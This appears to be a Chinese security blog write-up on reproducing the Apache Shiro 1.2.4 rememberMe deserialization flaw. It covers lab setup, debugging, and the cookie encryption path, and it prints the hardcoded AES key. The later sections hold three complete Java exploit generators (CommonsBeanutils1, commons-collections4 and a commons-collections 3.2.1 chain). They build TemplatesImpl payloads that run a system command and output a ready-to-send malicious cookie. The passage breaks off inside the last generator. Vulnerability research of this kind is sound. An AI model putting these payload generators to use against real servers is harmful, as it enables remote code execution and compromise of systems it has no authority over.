这两天复现了一下之前经常遇到的”Shiro反序列化”,复现过程中遇到了一些坑点,在这里记录一下。

漏洞描述

The way shiro is set up by default exposes a web application to deserialization attacks. This is dangerous anyway, but particularly in light of the recent exploits using commons-collections (see http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/ for more info).

By default, shiro uses the CookieRememberMeManager. This serializes, encrypts and encodes the users identity for later retrieval. Therefore, when it receives a request from an unauthenticated user, it looks for their remembered identity by doing the following:

  • Retrieve the value of the rememberMe cookie
  • Base 64 decode
  • Decrypt using AES
  • Deserialize using java serialization (ObjectInputStream).

However, the default encryption key is hardcoded, meaning anyone with access to the source code knows what the default encryption key is. So, an attacker can create a malicious object, serialize it, encode it, then send it as a cookie. Shiro will then decode and deserialize, meaning that your malicious object is now live on the server. With careful construction of the objects, they can be made to run some malicious code (see link above for more detail).

Note this is not theoretical; I have a working exploit using the ysoserial commons-collections4 exploit and http client. I can provide my test code if required.

I understand that this requires your shiro to be set up using the default remember me settings, but in my case my application doesn’t even make use of the remember me functionality (there’s no way for the user to ask to be remembered), so I didn’t even consider that I needed to secure this part. Yet, my application still has this vulnerability.

漏洞环境搭建

编译war包

1
2
3
git clone https://github.com/apache/shiro.git  
git checkout shiro-root-1.2.4
cd ./shiro/samples/web

编辑pom.xml,加入如下配置信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!--  需要设置编译的版本 -->  
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
...
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
.....
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependencies>

这里为什么要加一个cc4,后边会记录,此时还需要将以下文件的scope取消:

image-20200623215026075
image-20200623215026075

将这里的<scope>test</scope>删除,因为这个依赖下会导commons collection3.2.1,如果scope是test的话则不会进行导入。

如果之前已经用过mvn来下载依赖,在当前用户的目录下会有一个.m2文件夹,如果之前没用过mvn,就需要手动创建.m2文件夹,并创toolchains.xml指定编译版本为1.6。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?xml version="1.0" encoding="UTF-8"?>

<!--
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
-->

<!--
| This is the toolchains file for Maven. It can be specified at two levels:
|
| 1. User Level. This toolchains.xml file provides configuration for a single user,
| and is normally provided in ${user.home}/.m2/toolchains.xml.
|
| NOTE: This location can be overridden with the CLI option:
|
| -t /path/to/user/toolchains.xml
|
| 2. Global Level. This toolchains.xml file provides configuration for all Maven
| users on a machine (assuming they're all using the same Maven
| installation). It's normally provided in
| ${maven.home}/conf/toolchains.xml.
|
| NOTE: This location can be overridden with the CLI option:
|
| -gt /path/to/global/toolchains.xml
|
| The sections in this sample file are intended to give you a running start at
| getting the most out of your Maven installation.
|-->
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">

<!--
| With toolchains you can refer to installations on your system. This
| way you don't have to hardcode paths in your pom.xml.
|
| Every toolchain consist of 3 elements:
| * type: the type of tool. An often used value is 'jdk'. Toolchains-aware
| plugins should document which type you must use.
|
| * provides: A list of key/value-pairs.
| Based on the toolchain-configuration in the pom.xml Maven will search for
| matching <provides/> configuration. You can decide for yourself which key-value
| pairs to use. Often used keys are 'version', 'vendor' and 'arch'. By default
| the version has a special meaning. If you configured in the pom.xml '1.5'
| Maven will search for 1.5 and above.
|
| * configuration: Additional configuration for this tool.
| Look for documentation of the toolchains-aware plugin which configuration elements
| can be used.
|
| See also http://maven.apache.org/guides/mini/guide-using-toolchains.html
|
| General example

<toolchain>
<type/>
<provides>
<version>1.0</version>
</provides>
<configuration/>
</toolchain>

| JDK examples

<toolchain>
<type>jdk</type>
<provides>
<version>1.5</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>/path/to/jdk/1.5</jdkHome>
</configuration>
</toolchain>
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>/path/to/jdk/1.6</jdkHome>
</configuration>
</toolchain>
-->
<!--插入下面代码-->
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<!--这里是你安装jdk的文件目录-->
<jdkHome>D:\Env\java_env\6u45</jdkHome>
</configuration>
</toolchain>
</toolchains>

否则就会出现如下的错误:

image-20200622012929463
image-20200622012929463

在编译完成后,会生成war文件:

image-20200622013613384
image-20200622013613384

将war文件拷贝至webapps目录下,启动tomcat后访问tomcat的启动端/shiro,如果出现如下界面则表示环境搭建成功:

image-20200622014553709
image-20200622014553709

远程调试

打开idea后选择open or import,将shiro下载目录下samples/web/导入进idea。

在tomcat的catalina.bat上加入以下代码:

1
set CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5555"

如果是linux或者mac这类系统,则在catalina.sh下加入以下代码:

1
CATALINA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=5555,suspend=n,server=y"

重启tomcat,看到以下信息说明tomcat这部分配置成功:

image-20200622021251588
image-20200622021251588

接着来到IDEA这配置,在Run/Debug这里,选择加号,选择Tomcat Remote,按下图进行配置:

image-20200622021352428
image-20200622021352428

上面配置完后进入Startup/Connection界面,将端口也修改为5555:

image-20200622021425360
image-20200622021425360

上面的配置完后就可以开始调试shiro了,先在index.jsp处下一个断点,之后再点击调试按钮:

image-20200622021519009
image-20200622021519009

当我们访问shiro的页面时,idea收到调试信息代表配置成功:

image-20200622021558876
image-20200622021558876

漏洞分析

前言

因为是过了很久才复现这个漏洞的,所以大概知道这个漏洞的触发点以及产生原因,下边简单先解释一下。

漏洞触发点是在Cookie的RememberMe这个参数里,Shiro会对其值进行base64 decode后,再aes decode,然后调用readObject转为对象。

由于aes的key是硬编码写死在代码里的,导致我们可以伪造这个加密流程,我们可以将其最终最终调用的readObject的类修改为我们的恶意类(即cc这些链),从而触发反序列化漏洞。

加密过程

org.apache.shiro.mgt.AbstractRememberMeManager:

当登录成功后会调用AbstractRememberMeManager.onSuccessfulLogin函数,该函数主要实现以下功能(前提:使用了rememberme功能):

  • 生成加密后的RememberMe Cookie
  • 将RememberMe Cookie传回浏览器,为用户设置cookie值
1
2
3
4
5
6
7
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
this.forgetIdentity(subject);
if (this.isRememberMe(token)) {
this.rememberIdentity(subject, token, info);
} else if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested. RememberMe functionality will not be executed for corresponding account.");
}

this.isRememberMe(token)用于验证用户是否选择了Remember Me选项,如果有,那么这里会返回True,反之则只是在控制台打印一条信息,不作任何处理。

AbstractRememberMeManager#rememberIdentity:

1
2
3
4
public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
PrincipalCollection principals = this.getIdentityToRemember(subject, authcInfo);
this.rememberIdentity(subject, principals);
}

在第一行生成了PrincipalCollection对象,此时该对象中包含用户登录态的部分信息。

AbstractRememberMeManager#rememberIdentity:

1
2
3
4
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
this.rememberSerializedIdentity(subject, bytes);
}

AbstractRememberMeManager#convertPrincipalsToBytes:

1
2
3
4
5
6
7
8
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = this.serialize(principals);
if (this.getCipherService() != null) {
bytes = this.encrypt(bytes);
}

return bytes;
}

在convertPrincipalsToBytes方法中,主要实现了以下功能:

  • 将principals对象序列化,将序列化对象转为byte数组
  • 通过encrypt方法,加密生成的byte数组并将结果返回

序列化代码:

1
2
3
4
5
6
7
8
9
10
11
12
ByteArrayOutputStream baos = new ByteArrayOutputStream();
BufferedOutputStream bos = new BufferedOutputStream(baos);

try {
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o);
oos.close();
return baos.toByteArray();
} catch (IOException var6) {
String msg = "Unable to serialize object [" + o + "]. " + "In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " + "class must implement java.io.Serializable.";
throw new SerializationException(msg, var6);
}

这里调用了writeObject,将principals对象写到OutputStream中。

加密代码:

1
2
3
4
5
6
7
8
9
10
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
value = byteSource.getBytes();
}

return value;
}

在加密时会传两个参数:

  • 刚刚返回的ByteArrayOutputStream的byte数组
  • aes key

这意味着我们只需要知道key是什么,就可以伪造加密流程,当反序列化调用readObject还原对象时,就会触发反序列化漏洞。这里的key是通过getEncryptionCipherKey获得的:

1
2
3
public byte[] getEncryptionCipherKey() {
return this.encryptionCipherKey;
}

而encryptionCipherKey是在初始化AbstractRememberMeManager这个类时就设置了的:

1
2
3
public AbstractRememberMeManager() {
this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

DEFAULT_CIPHER_KEY_BYTES是写死在代码里的,这也是漏洞产生的根源:

image-20200622152640633
image-20200622152640633

当以上加密过程进行完毕后,会返回一个byte数组,此时会调用AbstractRememberMeManager#rememberSerializedIdentity使用base64编码这个数组,并设置cookie:

image-20200622152818345
image-20200622152818345

解密过程

对RememberMe的解密依然是在AbstractRememberMeManager里,调用的是getRememberedPrincipals方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;

try {
byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);
if (bytes != null && bytes.length > 0) {
principals = this.convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException var4) {
principals = this.onRememberedPrincipalFailure(var4, subjectContext);
}

return principals;
}

这个方法主要做了实现了三个功能:

  • 获取cookie中的RememberMe值进行base64_decode
  • 将base64_decode获取的byte数组进行aesdecode
  • 从bytes数组中还原ByteArrayInputStream,调用readObject还原principals对象

当我们的cookie中带有RememberMe时,就会自动调这个方法对此cookie进行处理,在getRememberedSerializedIdentity方法中会先提取出cookie,并判断RememberMe是否包含deleteMe,如果包含则直接返回,否则则正常base64_decode:

image-20200622160302903
image-20200622160302903

此时decode后,根据加密流程来说,此时获取到的应该是aes加密的byte数组,接着会调用convertBytesToPrincipals方法,将bytes数组解密,并调用readObject将对象还原。

1
2
3
4
5
6
7
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (this.getCipherService() != null) {
bytes = this.decrypt(bytes);
}

return this.deserialize(bytes);
}

这里分两步:第一步decrypt用于解密aes,并返回byte数组,第二步调用deserialize方法,用ByteArrayInputStream将对象反序列化,同样也是漏洞的触发点。

decrypt:

1
2
3
4
5
6
7
8
9
10
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());
serialized = byteSource.getBytes();
}

return serialized;
}

deserialize:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
} else {
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);

try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
T deserialized = ois.readObject();
ois.close();
return deserialized;
} catch (Exception var6) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, var6);
}
}
}

encrypt & decrypt code

下边我尝试通过代码还原加密以及解密的过程:

encrypt_demo.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.io.SerializationException;
import org.apache.shiro.util.ByteSource;

import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Arrays;

public class encrypt_demo {

public byte[] serialize(Object o) throws SerializationException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
BufferedOutputStream bos = new BufferedOutputStream(baos);
try {
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o);
oos.close();
return baos.toByteArray();
} catch (IOException var6) {
String msg = "Unable to serialize object [" + o + "]. " + "In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " + "class must implement java.io.Serializable.";
throw new SerializationException(msg, var6);
}
}

public byte[] encrypt_aes(Object o){
byte[] bytes = this.serialize(o);
byte[] aes_key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService aesCipherService = new AesCipherService();
ByteSource bytesource = aesCipherService.encrypt(bytes,aes_key);
return bytesource.getBytes();
}

public static String base64_encode(byte[] bytes){
return Base64.encodeToString(bytes);
}

public String encrypt(Object o){
byte[] aes_encrypt = this.encrypt_aes(o);
System.out.println(Arrays.toString(aes_encrypt));
return base64_encode(aes_encrypt);
}

}

decrypt_demo.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.io.ClassResolvingObjectInputStream;
import org.apache.shiro.io.SerializationException;
import org.apache.shiro.util.ByteSource;

import java.io.BufferedInputStream;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;

public class decrypt_demo {
public static byte[] base64_decode(String base64){
return Base64.decode(base64);
}

public static byte[] aes_decrypt(byte[] bytes){
byte[] aes_key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService aesCipherService = new AesCipherService();
ByteSource byteSource = aesCipherService.decrypt(bytes, aes_key);
byte[] serialized = byteSource.getBytes();
return serialized;
}

public static Object deserialize(byte[] bytes){
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
BufferedInputStream bis = new BufferedInputStream(bais);

try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
Object deserialized = ois.readObject();
ois.close();
return deserialized;
} catch (Exception var6) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, var6);
}

}

public Object decrypt(String base64){
byte[] aes_value = this.base64_decode(base64);
Object o = deserialize(aes_decrypt(aes_value));
return o;
}
}

Remember_CheckDemo.java

1
2
3
4
5
6
7
public class Remember_CheckDemo {
public static void main(String[] args) {
Test rememberme_value = new Test();
String encrypt_data = new encrypt_demo().encrypt(rememberme_value);
Object o = new decrypt_demo().decrypt(encrypt_data);
}
}

Test.java

1
2
3
4
5
6
7
8
import java.io.*;

public class Test implements Serializable {

private void readObject(java.io.ObjectInputStream s){
System.out.println("I have been used");
}
}

当运行Remember_CheckDemo.java后,输出I have been used,说明反序列化成功:

image-20200622163939118
image-20200622163939118

漏洞修复

Shiro在1.2.5版本以及以上版本对此漏洞进行了修复,做了以下两点的处理:

  • 删除默认aes密钥
  • 如果没有配置密钥,则会通过cipherService.generateNewKey().getEncoded()生成一个随机密钥
image-20200622165330429
image-20200622165330429

generateNewKey方法代码:

1
2
3
public Key generateNewKey() {
return generateNewKey(getKeySize());
}

调试Payload

Shiro自带的依赖里安装了Commons Collections 3.2.1,可是当我用cc1的payload打时,却打不成功:

image-20200622172439489
image-20200622172439489

当时当我用URLDNS打时,却可以打成功:

image-20200622172519391
image-20200622172519391
image-20200622172536005
image-20200622172536005

resolveClass

Shiro在调用readObject时,使用了ClassResolvingObjectInputStream来处理数据:

image-20200622192936722
image-20200622192936722

这个类重写了resolveClass方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package org.apache.shiro.io;

import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import org.apache.shiro.util.ClassUtils;
import org.apache.shiro.util.UnknownClassException;

public class ClassResolvingObjectInputStream extends ObjectInputStream {
public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException var3) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", var3);
}
}
}

我们一般可以通过Shiro用的这种方式来防御反序列化,即重写resolveClass,限定只能反序列化某个特定类等,接着可以将这段resolveClass与java原生的resolveClass进行对比:

java.io.ObjectInputStream#resolveClass

1
2
3
4
5
6
7
8
9
10
11
12
13
public Class<?> resolveClass(ObjectStreamClass objectStreamClass) throws IOException, ClassNotFoundException {
String name = objectStreamClass.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException e) {
ClassNotFoundException classNotFoundException = e;
Class<?> cls = primClasses.get(name);
if (cls != null) {
return cls;
}
throw classNotFoundException;
}
}

在原生的JDK中,直接用Class.forName来获取Class,在Shiro中,使用了ClassUtils.forName获取Class,我们可以尝试跟进ClassUtils.forName:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static Class forName(String fqcn) throws UnknownClassException {
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader...");
}

clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
}

if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader...");
}

clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
}

if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
} else {
return clazz;
}
}

里边大都是采用了ClassLoader.loadClass方法来加载类,在用cc的测试中,我发现错误出现在Transform类的加载过程中:

image-20200622195212740
image-20200622195212740

由于Transform是一个数组类,所以无法使用loadClass进行加载,使用Class.forName进行加载是ok的,Class.forName代码如下:

1
2
Class.forName("[Lorg.apache.commons.collections.Transformer;",false,sun.misc.VM.latestUserDefinedLoader()); //yes
Class.class.getClassLoader().loadClass("[Lorg.apache.commons.collections.Transformer;") // false

我们不难发现,ClassLoader.loadClass的方式并不支持加载数组类,这也是为什么cc没法用的原因,当然这部分我并没有深入分析,因为其涉及到了Java中一种叫”双亲委派”的类加载思路 & 突破”双亲委派”的思路,这部分和漏洞无关,了解起来实在太费劲,于是就没去看了。

原文:

Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。

此时我们则无法使用任何带数组对象的gadget,而cc3.2.1中的所有链(在官方仓库内的)都需要用到数组对象transformer,所以需要重新构造链,用其他链来打。

攻击方式

在这里需要重点标记:Shiro本身并不带有任何漏洞依赖库,只有shiro.jar这一个文件,也就是说,我们以下写的攻击方式,想要成功的前提,是使用了shiro的网站加入了这些依赖库。

Commons-beanutils

由于samples web自带了commons-beanutils,而commons-beanutils依赖于commons-collections,所以我们需要有commons-collections的依赖才可以使用commons-beanutils的payload来打,可以直接用yso中的CommonsBeanutils1。

Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


public class RememberMeDemo {
public static void main(String[] args) throws Exception {

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

final BeanComparator comparator = new BeanComparator("lowestSetBit");

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));

// switch method called by comparator
Field property = comparator.getClass().getDeclaredField("property");
property.setAccessible(true);
property.set(comparator,"outputProperties");

// switch contents of queue
Field queue_field = queue.getClass().getDeclaredField("queue");
queue_field.setAccessible(true);

final Object[] queueArray = (Object[]) queue_field.get(queue);
queueArray[0] = templates;
queueArray[1] = templates;
String encrypt_data = new encrypt_demo().encrypt(queue);
System.out.println(encrypt_data);

}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

Commons Collections 4.0

我们一开始手动添加了一个依赖,即Commons Collection4.0,这是因为samples web自带的3.2.1在现成的链无法使用,所以需要用cc2的payload来打,为什么2可以成功?是因为cc2并没有用到数组对象。

Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;


public class RememberMeDemo {
public static void main(String[] args) throws Exception {

Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
org.apache.commons.collections4.functors.InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

Object[] queue_array = new Object[]{templates,1};

Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);


Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);
String encrypt_data = new encrypt_demo().encrypt(queue);
System.out.println(encrypt_data);

}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

通过上述代码生成加密后的RememberMe cookie,直接传以下就可以打了。

Commons Collection 3.2.1

本来因为shiro重写了resolveClass的原因,导致原本很多gadget没法使用了,其中大部分链都因为不能带数组对象给否掉了,但是wh1t3p1g师傅将cc中的链给搭配起来,写了个不需要数组对象也能在Commons Collections3.2.1这个版本里打的链,具体可以参考:Java反序列化利用链分析之Shiro反序列化

下面是我写的一个利用Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


public class RememberMeDemo {
public static void main(String[] args) throws Exception {

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);

HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = null;
innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = new Object[0];
array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
String encrypt_data = new encrypt_demo().encrypt(map);
System.out.println(encrypt_data);

}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
